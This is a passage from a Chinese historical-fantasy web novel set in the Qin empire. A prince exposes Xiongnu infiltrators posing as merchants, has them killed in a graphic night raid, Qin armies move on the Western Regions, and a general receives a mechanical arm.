“而且,不止这一伙!”
“在盯梢过程中,属下还发现另外几支刚刚入城的‘商队’,虽然货物、旗号各不相同,但那股子让人脊背发凉的气息,如出一辙!”
“他们进城后,并未急着交易,反而分散住进了几家不同的客栈,行为鬼祟!”
赢子夜缓缓站起身,走到北疆地图前,目光冰冷地扫过九原、云中、雁门三座大城。
多个伪装成商旅,携带浓重杀戮气息的神秘团伙,几乎同时潜伏于边境重镇,且行动隐蔽,目的绝非经商!
他瞬间将此事与之前的商旅失踪案联系了起来!
这些潜伏者,恐怕就是制造那些“完美失踪”案的黑手!
他们以客栈为据点,暗中监视,筛选目标。
然后,选择合适时机地点动手!
之所以现场毫无痕迹,是因为他们根本不是普通的马贼,而是训练有素,精通某种特殊手段的专业组织!
“这些人藏匿的具体位置,都摸清楚了吗?”
赢子夜声音低沉,带着凛冽的杀意。
“回殿下!九原四处,云中三处,雁门两处,具体客栈招牌、房间,均已查明!”
影蝎肯定地回答,眼中闪烁着狩猎般的兴奋光芒。
“很好!”
赢子夜赞许地点点头,随手从袖中取出一个小玉瓶,抛给影蝎。
“这是‘淬体丹’,赏你们的。”
“继续盯着,记住,只需监视,记录他们的动向,接触之人,绝不可打草惊蛇!”
“若有新发现,立刻来报!”
影蝎接过玉瓶,感受到其中蕴含的精纯药力,顿时激动得身体微颤,重重磕头。
“谢殿下赏!属下明白!定像影子一样盯着他们,绝不让其察觉!”
“去吧。”
第337章 内忧外患!
九原西市,人来人往,叫卖声不绝于耳。
公输仇换上了一身绫罗绸缎,手指上戴着几枚硕大的玉戒指,腆着肚子,操着一口略带中原口音的官话。
活脱脱一个从富庶之地来的土财主模样。
他身后还跟着两个由暗河高手假扮的,一脸横肉的“家丁”,架势十足。
他先是漫无目的地在几家正经皮货铺和特产店转了转,讨价还价。
还真买了几张上好的狐皮和几罐蜂蜜。
一副精打细算又舍得花钱的做派。
这番举动,自然引起了不少人的注意,也包括一些隐藏在暗处的目光。
兜了一圈后,公输仇看似随意地踱步到了那家名为“悦来”的客栈附近。
他目光“不经意”地扫过客栈后院那几间被影蝎重点标记的上房。
随即,脸上堆起热情的笑容,带着家丁径直走了过去。
后院门口,有两名看似在闲聊,实则眼神警惕的汉子守着。
见到公输仇这派头,其中一人上前拦住,语气还算客气。
“这位老爷,此处是客房后院,不对外经营,您要是住店或用饭,请走前门。”
公输仇哈哈一笑,拍了拍肚子。
“不住店,不住店!老夫是来做买卖的!”
“听说你们这儿有几批上好的皮货?老夫从关中来的,专收好皮子,价钱好商量!”
说着,还示意了一下家丁手里刚买的那些狐皮,以示自己确实是买家。
那汉子眼中闪过一丝不易察觉的警惕,面上却为难道:
“实在对不住,老爷,咱们的货…都已经有主家订下了,不便再卖与他人。”
“哦?”
公输仇眉毛一挑,摆出豪爽的架势。
“订下了?付定金了没有?老夫可以出双倍!不,三倍的价钱!”
“只要货好,钱不是问题!”
他故意把声音抬高了些,引得后院其他房间似乎也有人探头探脑。
那汉子脸色微变,但依旧摇头,语气强硬了些。
“老爷,这不是钱的问题。”
“行有行规,货既已订出,断无再卖之理。”
“您还是去别家看看吧。”
公输仇脸上露出遗憾和不悦的神情,嘟囔着:“哪有送上门的生意不做的道理。”
一边摇头晃脑,一边却借着家丁身体的掩护,目光飞快地扫过院内堆放着的一些尚未完全遮盖严实的货物。
只见那些货包露出的一角,赫然是几匹颜色鲜亮,带有中原特色的苏绣锦缎!
还有几个箱子里散落出的,分明是些常见的药材和瓷器!
公输仇心中剧震!
这些货物……
与他看过的失踪商旅案卷中记录的几种货物,极其相似!
他不敢多看,生怕引起怀疑,又不满地抱怨了几句。
这才带着家丁悻悻然地离开了悦来客栈。
一离开对方视线范围,公输仇脸上的市侩表情瞬间收敛,脚步加快,迅速回到了赢子夜所在的安全屋。
密室内,赢子夜静静听着公输仇的详细汇报。
“……老夫开出三倍高价,他们竟毫不犹豫地拒绝!”
“商人逐利乃是天性,即便真有买主,面对如此暴利,也断无不动心之理!”
“除非…他们根本就不是商人,那些货物也并非用来交易的!”
公输仇语气肯定。
“而且,老夫趁机瞥见的那些锦缎、药材、瓷器,与案卷中几支失踪商队所载货物,种类吻合!”
他补充道,神情凝重。
赢子夜听完,眼中寒光爆射!
之前的所有推测,在此刻得到了近乎确凿的印证!
“如此看来,那些失踪的商旅,恐怕早已遭了毒手!”
“而这些人,正是凶手!”
“他们杀死商旅,夺其货物,然后冒充商队,利用这些‘赃物’作为掩护,混入边境大城潜伏下来!”
赢子夜的声音冰冷彻骨。
一旁的焰灵姬忍不住开口,美眸中带着疑惑。
“可是…他们费这么大周折,杀人越货,冒充商旅,潜伏在城里…到底图什么?”
“若是为了钱财,为何不将货物销赃变现,反而囤积在客栈?”
“若是为了刺探军情,也不必杀这么多不相干的商队吧?”
雪女和端木蓉也露出思索之色,显然同样不解。
赢子夜冷笑一声,目光仿佛穿透墙壁,看到了那些隐藏在客栈中的杀手。
“他们的目的,当然不会这么简单。”
“杀人越货只是手段,混入城池才是第一步。”
“囤积货物,或许是为了维持伪装,或许…另有用处。”
“但无论如何,他们潜伏于此,必定有更大的图谋!”
他猛地站起身,周身散发出一股凌厉的杀气。
“既然想不通,那就没必要再猜了!”
“直接去问‘当事人’,岂不是更清楚?”
他转向阴影处,沉声下令。
“传令!”
“命所有潜伏在雁门、云中、雁门三城的暗河成员,放弃次要任务,两日之内,全部秘密汇聚至九原郡待命!”
“告诉他们,准备好……‘清场’!”
“诺!”
阴影中传来一声压抑着兴奋的低吼,随即气息消失。
……
两日时间,在紧张压抑的氛围中悄然流逝。
府邸密室内。
赢子夜静听着最新汇集而来的情报,脸色如同覆上了一层寒霜。
“启禀主上,潜伏于三城的暗河成员,共计一百三十七人,已全部按照指令,秘密抵达指定位置隐匿待命,随时可以发动。”
阴影中,赵弋苍的声音低沉而肃杀。
然而,他接下来的话,却让密室内的温度骤降。
“此外,边境斥候冒死传回急报!”
“匈奴主力骑兵,约五万之众,由其新任单于亲自率领,正离开王庭,一路向南,目标直指…九原、云中、雁门三郡方向!”
“其先锋游骑,已逼近至距我边境不足百里之处,蠢蠢欲动,不断进行试探性挑衅!”
赢子夜猛地抬起头,眼中爆射出骇人的精光!
匈奴大军异动,直扑三座边境大城!
再结合城内那些伪装潜伏,行为诡异的“商旅”……
所有的线索,瞬间在他脑中串联成一条清晰的令人脊背发凉的阴谋链条!
他缓缓站起身,走到那幅巨大的北疆地图前,手指重重地点在九原、云中、雁门三座城池之上,声音冰冷得如同寒风。
“原来如此……好一个里应外合之策!”
他目光扫过身旁的赵弋苍、公输仇以及焰灵姬等女,语气森然。
“城内这些鬼鬼祟祟的家伙,根本就不是什么寻常匪类!”
“他们是匈奴派来的内应!”
“先杀商旅,夺其货物身份作为掩护,混入城中潜伏下来!”
“只等匈奴大军兵临城下,他们便会立刻在城内制造混乱,打开城门,甚至直接攻击守军要害!”
“届时外有强敌猛攻,内有奸细作乱,三座边境重镇一旦失守……”
赢子夜的手指在地图上狠狠一划。
“这三座城,囤积着我军大量粮草军械,更是连通中原与草原的战略要冲!”
“若被匈奴占据,他们便有了最稳固的前进基地和补给点!”
“进可虎视中原,退可依城固守!”
“这,才是他们的真正目的!”
一番分析。
石破天惊!
众人闻言,无不色变。
若真如此,北疆必然危矣!
“绝不能让他们的阴谋得逞!”
赢子夜猛地转身,脸上再无半分犹豫,只有决绝的杀伐与掌控一切的冷静!
一道道命令,如同疾风骤雨般迅速下达!
“赵弋苍!”
“卑职在!”
“第一!你亲自去见雁门、云中的守将,持我令牌,令他们即刻起,全城戒严!”
“重兵把守所有城门、要道、城墙!”
“没有我的手令,任何人不得擅自出入!”
“违令者,以通敌论处,格杀勿论!”
“第二!命所有暗河成员,联合噬牙狱囚徒,于今夜子时,同时动手!”
“全力清剿三座城中所有已标记的可疑潜伏据点!”
“记住,要快、要狠、要干净!”
“决不能放走一人,决不能让他们有机会发出信号!”
“我要让这些内应,悄无声息地消失在这北疆寒夜之中!”
“诺!”
赵弋苍眼中嗜血光芒大盛,重重领命!
“第三!加派所有能动用的精锐斥候,分成三班,不间断监视匈奴大军动向!”
“我要知道他们每一步的准确位置和意图!”
“有任何异动,立刻烽火加急来报!”
“第四!”
赢子夜目光锐利。
“从三城守军中,各抽调五百最精锐的轻骑兵,配备双马,火速出发,分别前往邻近的上郡、北地郡、代郡求援!”
“让他们集结兵力,随时准备驰援三城!”
“告诉他们,北疆门户若破,唇亡齿寒!”
“第五!以六公子府暨北疆巡察使的名义,传令边疆所有郡县、关隘、戍堡,即刻起进入最高战备状态!”
“严阵以待,谨防匈奴分兵奇袭或其他部落趁火打劫!”
一连五道命令,如同五根铁柱!
瞬间构筑起一道应对危机的坚固防线!!
最后,赢子夜深吸一口气,走到书案前,铺开绢帛,提笔疾书,字迹铁画银钩。
将北疆突变,匈奴阴谋,内应潜伏以及自己的应对部署,清晰扼要地写下。
“还有!”
他封好绢帛,盖上自己的印信,递给一名早已等候的心腹侍卫。
“八百里加急!将此密奏直送咸阳章台宫,面呈陛下!请父皇圣裁!”
第338章 瓮中捉鳖!
漆黑荒原,夜风如刀。
几道身影疾掠在沙丘与戈壁之间,衣袂猎猎无声,他们正是黑冰台与暗河联合小队。
一路追击,他们循着战斗残留的气息与被刻意抹去的足迹,追逐了整整三日三夜。
途中,他们数度遭遇罗网残余势力的阻截!
那些人个个悍不畏死,出手狠辣,宁愿自杀也要断绝线索!
但在黑冰台铁血冷酷的手段与暗河杀手的阴影猎杀下,最终无一能逃。
血迹与残肢在荒原之夜被风沙迅速掩埋,只留下冷冽的杀意与继续前行的追击者。
“看来,这些罗网残部行进方向…逐渐指向西域。”
黑冰台杀手压低声音,递出一块布片。
上面有阴阳家秘术残余的能量波动,赫然与东君焱妃曾使用过的灵息一致。
“东君焱妃与其女,多半与赵高一同逃入西域。”
暗河头目目光一凝,立刻取出一枚特制通讯符,双手捧起,注入心神。
符文骤然亮起,微光映照出他那张冷峻,布满风尘的面容。
“主上。”
他的声音隔着千里虚空,传入赢子夜耳中。
“追击结果已明。”
“赵高及罗网残余,与阴阳家东君焱妃及其女千泷,极有可能已潜入西域三十六国之地!”
“黑冰台的同侪亦有相同判断,已将消息传回咸阳。”
“卑职等是否继续深入追击,请主上示下!”
话音落下,通讯符光芒渐渐黯淡,重新恢复沉寂。
……
与此同时。
九原。
讯息到此为止,通讯符的光芒缓缓黯淡下去。
赢子夜缓缓睁开眼睛,眸中寒光闪烁,嘴角却勾起一抹冰冷的弧度。
西域!
果然都跑到那里去了!
赵高这条丧家之犬,在中原已无立锥之地,逃往那片法外之地,势力错综复杂的西域,倒是个聪明的选择。
而东君焱妃,为了摆脱阴阳家和帝国的追捕,保护女儿。
选择同样龙蛇混杂的西域作为藏身之所,也在情理之中。
“还真是…都凑到一块去了。”
赢子夜低声自语。
北疆战云密布,内忧外患。
西域那边,叛臣、阴阳家叛逆也汇聚一堂。
这天下,还真是没有一刻安宁。
他心念微动,通过通讯符传回一道简短的指令。
“命你部,挑选精于潜行匿踪者,化整为零,秘密潜入西域。”
“首要任务,并非擒杀,而是配合已在西域的逆流沙,全力追查赵高、东君焱妃及其女的确切藏身之处。”
“查明后,监视即可,勿要打草惊蛇,等待后续命令。”
指令发出,通讯符光芒消散。
赢子夜揉了揉眉心,西域的棋局暂时布下,但眼前的北疆才是迫在眉睫的战场。
就在这时,密室门被轻轻叩响。
“进。”
一道身影闪入,是负责统筹今夜清剿行动的一名暗河头目。
他单膝跪地,声音压抑着激动与肃杀。
“启禀主上!雁门、云中、九原三郡,内外部署已全部就位!”
“我们与噬牙狱的人,已潜伏至各目标据点周围,锁死了所有可能逃脱的路径。”
“三城守军亦按照您的命令,重兵封锁了所有城门要道,弓弩上弦,刀剑出鞘,许进不许出!”
“城外,派往各郡求援的轻骑已出发多时。”
“边境斥候回报,匈奴大军仍在百里外扎营,尚未有立即进攻的迹象,但其游骑活动愈发频繁,似在等待什么。”
“一切,皆已准备妥当!只等主上您一声令下!”
赢子夜静静听完,脸上没有任何表情,唯有那双深邃的眼眸中,骤然爆射出如同实质般的冰冷杀意!
仿佛有两簇幽暗的火焰在其中燃烧。
他缓缓站起身,玄衣在烛光下拂动,周身散发出一股令人窒息的威严与决绝。
“很好。”
他轻轻吐出两个字。
声音不大,却仿佛带着千钧之力,敲定了今夜无数人的命运。
嘴角,勾起一抹毫无温度,如同猎人看到猎物终于全部踏入陷阱般的残酷笑容。
“既然如此……”
“那便。”
“瓮中捉鳖!”
最后四个字,如同冰珠砸落地面,清晰、冰冷、充满了绝对的掌控与杀伐之气!
“诺!”
暗河头目重重叩首,眼中闪烁着嗜血的光芒,身影迅速退入黑暗,去传达这最终的杀戮指令。
赢子夜独自立于窗前,望着窗外那被紧张与杀机笼罩的北疆之夜。
网已撒下,刀已出鞘。
今夜,这三座边境大城,便是他为那些匈奴内应精心准备的……葬身之地!
……
九原。
北疆三座大城之一。
今夜,这座往日喧嚣的边城陷入了一种死寂般的宁静。
但这宁静之下,却涌动着足以将一切吞噬的暗流与杀机。
城墙之上,火把猎猎作响,映照着戍守士卒冰冷的面甲和如林般指向城外的弓弩。
所有城门均已落闸,铁索缠绕,门后更是堆满了鹿角拒马,重甲步兵结成紧密的方阵,将出入口堵得水泄不通。
空气中弥漫着铁锈、汗水和一种近乎凝固的紧张感。
将军金荣亲自披甲持剑,在城头来回巡视,目光如鹰隼,不放过任何一丝异动。
这是赢子夜计划的第一环。
铁壁合围,断绝内外。
与此同时,在城内那看似寻常的街巷屋舍之间,真正的杀戮已然悄无声息地展开。
黑暗,成为了最好的掩护。
“悦来”客栈后院。
那几名伪装成皮货商的匈奴内应刚刚结束一轮低声的密议,正准备轮流休息。
突然。
“咻咻咻——!”
数道微不可闻的破空声响起!
淬毒的弩箭从窗外、屋顶、甚至地板的缝隙中精准射出。
瞬间便有三人被射中咽喉、心窝等要害,连惨叫都未能发出,便瞪大眼睛软倒在地。
“敌袭!”
剩余两人反应极快,猛地抽出藏在货物下的弯刀,背靠背警惕地望向四周。
然而,回应他们的,是如同鬼魅般从阴影中浮现的数道黑影。
暗河的杀手!
他们不言不语,出手便是最狠辣的杀招!
匕首如同毒蛇吐信,专攻下三路与关节要害。
配合默契,攻势如同疾风骤雨!
那两名内应虽也是悍勇之辈,但在专业杀手面前,又是被偷袭在先,仅仅支撑了不到十息,便被乱刃分尸。
鲜血泼洒在那些作为伪装的锦缎药材之上,显得格外刺目!
类似的场景,同时在云中城一家车马店、雁门郡一处看似废弃的仓库等地上演。
噬牙狱的囚徒们更是如同出笼的饿狼!
他们被许诺,今夜杀敌便可减刑!
于是一个个红着眼睛,用最原始最狂暴的方式,将那些试图抵抗的内应撕碎。
惨叫声、兵刃碰撞、尸体倒地的闷响,在寂静的夜里短暂响起,又迅速被更大的寂静所吞噬。
血雾在狭窄的巷道弥漫,腥气扑鼻。
一名内应刚刚劈断一名囚徒的肩膀,鲜血飞溅。
却见那囚徒不退反进,像疯狼般一把按住刀锋,任由铁刃贯穿手掌,猛地将脑袋撞向内应面门。
“咔嚓!”一声,鼻梁骨被硬生生撞碎,白骨与血肉一同塌陷。
另一名内应拼命挥舞弯刀,斩开一条血路,却立刻被两名囚徒从背后扑倒!
尖锐的獠牙一样的短刃反复刺入,喉咙、心口、腹部,全都被血淋淋地戳穿,鲜血喷洒在墙壁上,犹如狰狞的画卷。
有的囚徒甚至放弃兵刃,赤手空拳,将倒地的敌人头颅死死按在石板上,咬断耳朵,撕开喉咙,笑声与惨叫混杂,疯癫而骇人!
几名内应被围困在角落,竭力抵抗!
火光摇曳下,只见刀影乱舞,血肉横飞,四肢被硬生生扯断,残肢抛落在青石板上,还在痉挛抽动。
黑暗里,眼珠滚落!
发出骨碌碌的声响!
最后停在一滩血水中,映照出火光与杀意。
直到最后一个声音被掐断,整条小巷才重新归于死寂。
唯有血液沿着地砖缝隙缓缓流淌,汇聚成一条细小的暗红溪流。
这是计划的第二环。
暗夜清剿,犁庭扫穴。
务求斩草除根,不放走一人!
而城外,广袤的草原被夜色笼罩。
数队精锐的秦军斥候,如同融入夜色的狸猫,悄无声息地潜伏在丘陵、草甸之后,死死盯着远方匈奴大营的点点火光。
他们要将匈奴人的一举一动,都及时传回城内。
夜风猎猎,带着草原特有的腥甜气息。
远方,匈奴大营的篝火宛若星辰般散落,隐约可见无数战马的轮廓在火光中晃动,嘶鸣声被风送来,令人心悸。
偶尔有巡逻骑兵经过,狼犬低声咆哮,嗅探着空气中的陌生气息。
斥候们伏在草丛与泥土里,浑身涂满掩味的药粉,任凭蚊虫叮咬,寒风灌骨,也纹丝不动。
一名年轻斥候额头被冻得渗出细汗,却不敢抬手拭去。
只能让汗水顺着鬓角滑落,汇入泥土中。
忽然,远处的匈奴大营传来一阵低沉的号角声。
火光处,黑压压的身影涌动,似有大批骑兵在更换队列。
片刻后,数百骑分散开来,化为游骑,缓缓向秦境逼近,宛如试探猎物的狼群。
领头者扬起长矛,寒光在月色下闪烁。
“来了……”
老斥候在草丛里压低声音,眼神如鹰隼般冷厉。
他小心翼翼地取出特制的信号箭,埋在草丛下,随时准备点燃射出。
另一名斥候则屏息凝神,死死盯着敌军的阵型变化,生怕漏掉半点动向。
第339章 三十万秦军,陈兵西域!
而另一边。
沿着漫长的边境线,一座座烽火台已然燃起警惕的火焰,所有戍堡、关隘的守军都已枕戈待旦!
全线戒备,严防死守!!!
最高的望楼之上。
赢子夜一袭玄衣,负手而立,身侧站着焰灵姬、雪女、端木蓉、少司命四女。
他面前摆着一张小几,几上温着一壶酒。
他却并未饮用,只是目光平静地俯瞰着脚下这座巨大的,正在无声处决生命的城池。
他的眼神冷漠如万载寒冰,仿佛下方那一条条生命的消逝,与他毫无关系。
神识如同无形的大网,笼罩着全城!
敏锐地感知着每一处能量波动和杀戮气息的消长。
偶尔,某处会传来较为激烈的打斗声,或是内应垂死反扑试图发出的警示信号。
如响箭、哨声。
但往往刚起个头,便被更凌厉的攻击强行打断、湮灭!
“东街三号院,目标负隅顽抗,已清除。”
“西市皮草行,发现密室,内有七人,全部格杀。”
“城南水井旁,有一人试图钻地下水道逃脱,被截杀于洞口。”
一道道简洁冰冷的战报,通过特殊方式汇聚到望楼之下,再禀报上来。
赢子夜只是微微颔首,表示知晓,目光依旧扫视着全城。
焰灵姬看着下方黑暗中不时闪过的刀光血影,舔了舔红唇,眼中有些跃跃欲试。
雪女面容清冷,端木蓉微微蹙眉,似有不忍,但更多的是凝重。
少司命则一如既往的安静。
“殿下,看来这些匈奴内应,也不过如此嘛。”
焰灵姬轻声道。
赢子夜目光未动,声音平淡:“困兽之斗,最为危险,未到最后一刻,不可松懈。”
果然,他话音未落,城中偏西北角一处较大的货栈,突然爆发出剧烈的喊杀声和爆炸声!
火光冲天而起!!
显然,那里的内应发现了不对,试图制造大动静,吸引城外匈奴的注意,甚至想强行突围。
“哼!”
赢子夜冷哼一声。
几乎在他冷哼的同时,货栈周围瞬间涌现出更多的黑影。
暗河高手与噬牙狱凶徒如同潮水般涌了上去。
更有附近的守军小队迅速支援,弓弩手占据制高点,箭雨覆盖。
那里的战斗异常激烈,持续了约一炷香的时间,喊杀声才渐渐平息下去。
火光也被迅速扑灭。
……
黎明将至。
城内的血腥味尚未完全散去。
但那种令人窒息的杀机已然消散。
取而代之的是一种劫后余生般的死寂,以及一种高效运转的肃穆!
望楼之上,赢子夜静坐。
玄衣之上沾染了些许夜露。
暗河统领赵戈苍的身影如同鬼魅般悄然出现在楼梯口,快步上前,单膝跪地。
声音带着一夜杀戮后的沙哑与疲惫,却依旧清晰。
“启禀主上!清剿行动已毕,特来复命!”
“讲。”
赢子夜目光平静。
“此次行动,覆盖雁门、云中、九原三城。”
“我暗河弟兄,阵亡七人,重伤十一人,轻伤二十三人。”
赵弋苍的声音低沉下去,带着一丝不易察觉的痛惜,但随即又转为冷厉!
“共斩杀负隅顽抗之匈奴内应,四百四十一人!”
他顿了顿,继续道。
“另,生擒三十五人,多为受伤不及自戕或试图投降者,现已分开关押,严加看管!”
赢子夜微微颔首。
对于折损,他心中亦有波澜。
但战争难免伤亡,暗河与噬牙狱的损失已在可接受范围之内。
而斩获,则彻底粉碎了匈奴里应外合的阴谋!
“受伤弟兄,全力救治,阵亡者,厚恤其家。”
赢子夜沉声道,这是他对追随者的承诺。
随即,他语气一转,变得冰冷。
“生擒者,立即分开严加审讯!“
“撬开他们的嘴!”
“我要知道匈奴的具体计划,联络方式,以及在他们背后,是否还有别的黑手!”
“诺!卑职立刻去办!”
赵弋苍领命。
“还有。”
赢子夜站起身,走到墙边,俯瞰着渐渐苏醒的城池。
“命守军配合,将城中所有战斗痕迹,尸体血迹,迅速清理干净!”
“务必在天亮后,恢复城池表面秩序,不得引起普通百姓恐慌。”
“卑职明白!”
赵弋苍退下后不久,旭日终于跃出地平线,将金色的光芒洒向大地。
九原城门并未像往常一样早早开启。
但城头已然换上了精神抖擞的守军。
随即,一则由城主府发出的安民告示,被衙役敲着锣鼓,在几条主要街道宣读开来。
“城守府令:
昨夜有不知死活之强匪流寇,妄图袭击我九原重镇,幸得守军将士用命,浴血奋战,已将匪徒全部击杀于城内!”
“现匪患已除,城池安靖!”
“往来商旅,城中百姓,无须恐慌,各安其业即可!”
这消息如同长了翅膀般迅速传开。
起初,百姓和商旅们还将信将疑。
但看到街道确实已被打扫干净,除了空气中若有若无的血腥气,并无太多异状,守军也秩序井然,这才渐渐放下心来,议论纷纷。
多是咒骂那些该死的匪徒,称赞守军英勇。
一场足以颠覆北疆格局的危机,就在这黎明时分,被强行压下。
表面上只化作了一则“剿匪捷报”。
……
西域。
楼兰国东北边境。
这里并非黄沙漫漫,而是一片依靠雪山融水滋养的绿洲边缘,矗立着一座属于楼兰国的土黄色边城。
扦泥城。
城墙由夯土垒成,不算高大。
往日里只有少量守军和往来于荒原的商队经过,显得有几分荒凉与平静。
然而,这一日的平静,被彻底打破了。
正值午后,烈日灼烤着大地,空气中弥漫着尘土与干旱的气息。
扦泥城头,几名穿着简陋皮甲,肤色黝黑的楼兰守军正懒洋洋地靠着墙垛打盹。
突然,地面开始传来一阵阵沉闷的,持续不断的震动。
起初微弱,继而越来越强,仿佛有千军万马正在逼近。
“地……地动了?”
一名守军惊醒,茫然四顾。
另一名老兵猛地跳起来,扑到城垛边,手搭凉棚向着震动传来的东方望去。
只看了一眼,他的脸色瞬间变得惨白如纸,嘴唇哆嗦着,几乎发不出声音!
只见地平线的尽头,先是出现了一条细细的黑线!
那黑线如同潮水般,迅速蔓延、变粗、扩大!
不过片刻功夫,便化作了一片无边无际,沉默肃杀的黑色海洋!
旌旗如林,迎风招展,上面绣着狰狞的玄鸟图案。
大秦的战旗!!!
盔甲鲜明,在烈日下反射着冰冷刺目的寒光,如同为大地铺上了一层黑色的铁甲。
长戟如林,剑刃如霜,无数双冷漠无情的眼睛,穿透了空间的距离,死死地锁定了这座渺小的边城。
三十万大秦北疆锐士!
在蒙恬之子,蒙犽的率领下,如同钢铁洪流,无声无息却又带着碾碎一切的恐怖气势,推进至扦泥城下三里之外。
然后。
戛然而止。
没有战鼓,没有号角,甚至没有一丝多余的喧哗。
三十万人马,就那样静静地屹立在荒漠与绿洲的交界处,如同一片突然降临的死亡阴云。
只有战马偶尔响起的喷鼻声,和铠甲兵刃随着动作发出的轻微碰撞声,在这极致的寂静中,显得格外清晰,也格外令人心悸。
那种沉默的压迫感,远比震天的喊杀声更加可怕。
它像一只无形的大手,死死扼住了扦泥城每一个守军的喉咙。
城头上,所有的懒散和睡意早已不翼而飞。
守军们挤在墙垛后,望着城外那黑压压,一眼望不到头的恐怖军阵,一个个面无人色,双腿发软。
甚至有人吓得直接瘫倒在地,裤裆湿了一片。
他们何曾见过这等阵势。
楼兰全国之兵,恐怕也不及这城外大军的十分之一。
守城将领是一个名叫阿莫多的楼兰贵族。
此刻他扶着墙垛的手都在剧烈颤抖,额头上冷汗如同小溪般流淌下来。
他声嘶力竭地对着手下吼叫,声音却因为恐惧而变调。
“快!快关城门!拉起吊桥!所有人上城墙!弓箭手!准备……准备……”
他的命令显得如此苍白无力。
关城门?
在那三十万铁蹄面前,这夯土城墙和木制城门,恐怕连一刻钟都撑不住。
与此同时。
秦军中军大纛之下,一身黑色玄甲,面容冷峻如铁的蒙犽,缓缓抓紧缰绳。
他目光扫过那座在庞大军阵映衬下显得无比渺小脆弱的扦泥城,脸上没有任何表情。
只是淡淡地对身旁副将下达了最终的指令。
“传令全军,就地扎营,深沟高垒。”
“没有本将军命令,不许前进一尺。”
他顿了顿,眼中闪过一丝铁血的光芒,补充道:“但,也决不许后退一步!”
“告诉将士们,给本将军瞪大眼睛看好了!”
第340章 既然给脸不要,那就废了他!
章台宫内。
烛火将嬴政的身影投射得如同山岳般巍峨。
他刚刚放下那份由八百里加急送来的赢子夜亲笔所书的北疆密报。
密报上的内容,字字千钧!
匈奴异动,内应潜伏,里应外合之谋,以及赢子夜的果断处置与当前部署。
殿内空气凝滞得如同铁块。
侍立的内侍与侍卫连呼吸都小心翼翼,生怕惊扰了御座上那尊沉默的帝王。
良久,嬴政缓缓抬起头,那双深邃如星海的眼眸中,没有震惊,没有愤怒。
只有一种如同万载玄冰般的冰冷与一种掌控一切的绝对威严。
北疆的危机,似乎早在他的预料之中。
“匈奴…跳梁小丑,也敢觊觎朕之疆土。”
他的声音平稳响起,不高昂,却每一个字都仿佛带着碾碎山河的力量,在空旷的大殿中回荡!
“子夜处置得宜,然,北疆之重,非区区边军可独力支撑。”
他目光转向一旁垂手恭立的太尉府重臣,声音不容置疑。
“传朕令。”
“即刻从关中大营,再调十五万精锐,火速北上!”
“交由王贲节制,驰援九原、云中、雁门三郡!”
“告诉王贲,朕要他像一颗钉子,给朕牢牢钉死在北疆!”
“匈奴若敢来犯,就给朕…打回去!打到他们不敢再南下一步!”
“臣遵旨!”
太尉府大臣浑身一凛,立刻领命,快步退出大殿前去安排!
十五万大军调动,这将是帝国又一次重大的军事行动!!
殿内重归寂静,但那股压抑的帝威却愈发浓重。
就在这时,一名黑冰台统领悄无声息地入内,跪地呈上另一份密报,声音低沉。
“陛下,黑冰台急报。”
“经多方查证,叛臣赵高及其罗网残党,以及阴阳家逆徒东君焱妃,确已逃窜至西域之地隐匿。”
这个消息,如同在平静的湖面投下了一块巨石!
嬴政的目光骤然变得锐利无比,仿佛两道实质的冷电,瞬间刺穿了那层平静的表象!
罗网!
赵高!
还有那个阴阳家的叛徒!
这些帝国的蛀虫,竟然都躲到了西域!
他缓缓站起身,玄衣冕旒无风自动,周身散发出的那股磅礴帝威,瞬间提升到了极致!
整个章台宫仿佛都承受不住这股力量,烛火疯狂摇曳,梁柱发出细微的**!
他没有立刻爆发,而是缓缓踱步到那幅巨大的帝国疆域图前,目光死死钉在了西域那片广袤而模糊的区域。
“西域……”
他低声重复着这两个字,声音中蕴含着滔天的怒火与一种被冒犯的帝王之怒。
“朕,给过他们安宁。”
“但他们,却成了藏污纳垢之所,收容帝国叛逆之地!!”
他猛地转身,目光如炬,看向那名黑冰台统领,声音如同九幽寒冰,带着碾碎一切的决断!
“传朕旨意给蒙犽!”
“告诉他,西域诸国,既然选择了包庇逆贼,那便是不将朕,不将大秦放在眼里!!”
“无须再顾及任何颜面,无须再有任何试探!”
嬴政的手掌,重重地拍在了地图上西域的位置,发出沉闷的巨响。
“给朕…直接压上去!”
“朕要看看,是西域的风沙硬,还是朕的铁骑…更硬!!”
“若有谁敢阻拦,或有任何异动……”
他的声音停顿了一下,整个大殿的空气仿佛都被抽空,只剩下那令人灵魂战栗的杀意。
“便视为同谋,一并……踏为齑粉!!!”
“诺!”
黑冰台统领用尽全身力气嘶吼出这个字,几乎是匍匐着退出了大殿,后背已被冷汗彻底浸透。
嬴政独自立于殿中,望着西域的方向,目光冰冷如恒古不化的冰川。
帝国的战车,已然全面启动。
北疆要稳,西域……更要服!
任何胆敢挑衅天威者,都将被这架恐怖的战争机器,碾得粉碎!
……
九原郡。
一处戒备森严的静室内,气氛凝重而专注。
蒙恬躺在临时搭建的床榻上,脸色依旧苍白。
断臂处的伤口已被妥善包扎,但失去一臂的巨大创伤和失血过多,让他显得十分虚弱。
公输仇则在一旁忙碌着,他那双巧夺天工的机关手,此刻正小心翼翼地调试着一件刚刚完成的杰作。
一条闪烁着金属冷光泽,结构精密无比,内部隐约有流光运转的机关手臂!!
赢子夜静立一旁,目光平静地看着。
当公输仇示意准备就绪时,赢子夜从怀中取出一个玉盒。
盒盖开启的瞬间,室内温度仿佛都升高了几分!
一枚鸽卵大小,通体赤红,内部仿佛有岩浆流动,散发着磅礴生命与火焰能量的宝石,静静躺在其中。
正是最顶级的火雨玛瑙!!
“将此物,作为机关臂的核心能量源。”
赢子夜将玉盒递给公输仇。
公输仇看到这枚宝石,眼中爆发出狂热的光芒,双手微微颤抖地接过。
“殿下…这…这可是世间罕有的瑰宝!”
“以其为核,足以让这机关臂拥有远超寻常的威力与灵性!”
“甚至…可能衍生出一些意想不到的神通!”
“尽力而为。”
赢子夜淡淡道。
公输仇重重点头,不再多言,屏息凝神,开始将这枚珍贵的火雨玛瑙,小心翼翼地嵌入机关臂核心处的凹槽之中。
整个过程极其繁复精细,需要对接能量回路,确保宝石之力能完美传导至手臂各处。
时间在寂静中流逝,直至夜幕彻底降临。
终于,公输仇长舒一口气,抹了把额头的汗水,机关手发出轻微的咔哒声,表示安装完成。
那条机关臂此刻看起来更加不凡!
金属表面隐隐泛着一层温润的红光,尤其是手肘关节和掌心位置,红光最为浓郁。
“蒙将军,可能会有些许不适,请忍耐。”
公输仇对蒙恬说道,随即开始将机关臂与蒙恬肩部的断口进行连接固定。
这其中涉及肌肉、神经的接驳,过程必然痛苦。
蒙恬咬紧牙关,额头青筋暴起,冷汗涔涔,却硬是一声未吭。
